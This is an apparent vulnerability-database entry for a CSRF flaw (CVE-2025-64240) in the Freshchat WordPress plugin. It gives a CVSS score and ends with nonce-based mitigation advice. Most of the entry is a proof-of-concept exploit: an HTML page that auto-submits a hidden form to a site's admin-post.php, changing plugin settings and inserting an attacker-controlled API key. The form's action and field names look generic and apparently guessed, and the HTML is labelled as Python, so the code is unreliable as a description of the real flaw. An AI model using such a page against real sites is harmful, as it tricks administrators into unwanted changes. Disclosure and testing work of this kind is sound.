Cross-Site Request Forgery (CSRF) vulnerability in freshchat Freshchat freshchat allows Cross Site Request Forgery.This issue affects Freshchat: from n/a through <= 2.3.4.
CVSS Details
CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Configurations (Affected Products)
No configuration data available.
Freshchat WordPress Plugin <= 2.3.4
Freshchat WordPress Plugin n/a through 2.3.4
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-64240 - Freshchat Plugin CSRF -->
<!-- This PoC demonstrates how an attacker can trick an admin into performing unwanted actions -->
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack PoC - CVE-2025-64240</title>
</head>
<body>
<h1>Malicious Page - Do Not Visit</h1>
<p>This page demonstrates the CSRF vulnerability in Freshchat plugin.</p>
<!-- Auto-submit form targeting Freshchat plugin admin action -->
<!-- Replace TARGET_URL with actual WordPress site URL -->
<form id="csrfForm" action="TARGET_URL/wp-admin/admin-post.php" method="POST" style="display:none;">
<!-- Freshchat plugin action without CSRF token -->
<input type="hidden" name="action" value="freshchat_admin_action">
<input type="hidden" name="freshchat_setting" value="malicious_value">
<!-- Additional form fields that plugin expects -->
<input type="hidden" name="freshchat_api_key" value="attacker_controlled">
<input type="hidden" name="freshchat_widget_id" value="modified">
</form>
<script>
// Auto-submit when page loads
document.getElementById('csrfForm').submit();
</script>
<p>If you see this, the attack may have failed.</p>
</body>
</html>
<!--
Mitigation: Freshchat plugin should implement proper CSRF protection:
1. Add wp_nonce_field('freshchat_action', 'freshchat_nonce') to all admin forms
2. Verify nonce with wp_verify_nonce($_POST['freshchat_nonce'], 'freshchat_action')
3. Use nonces for all state-changing operations (POST/GET requests)
-->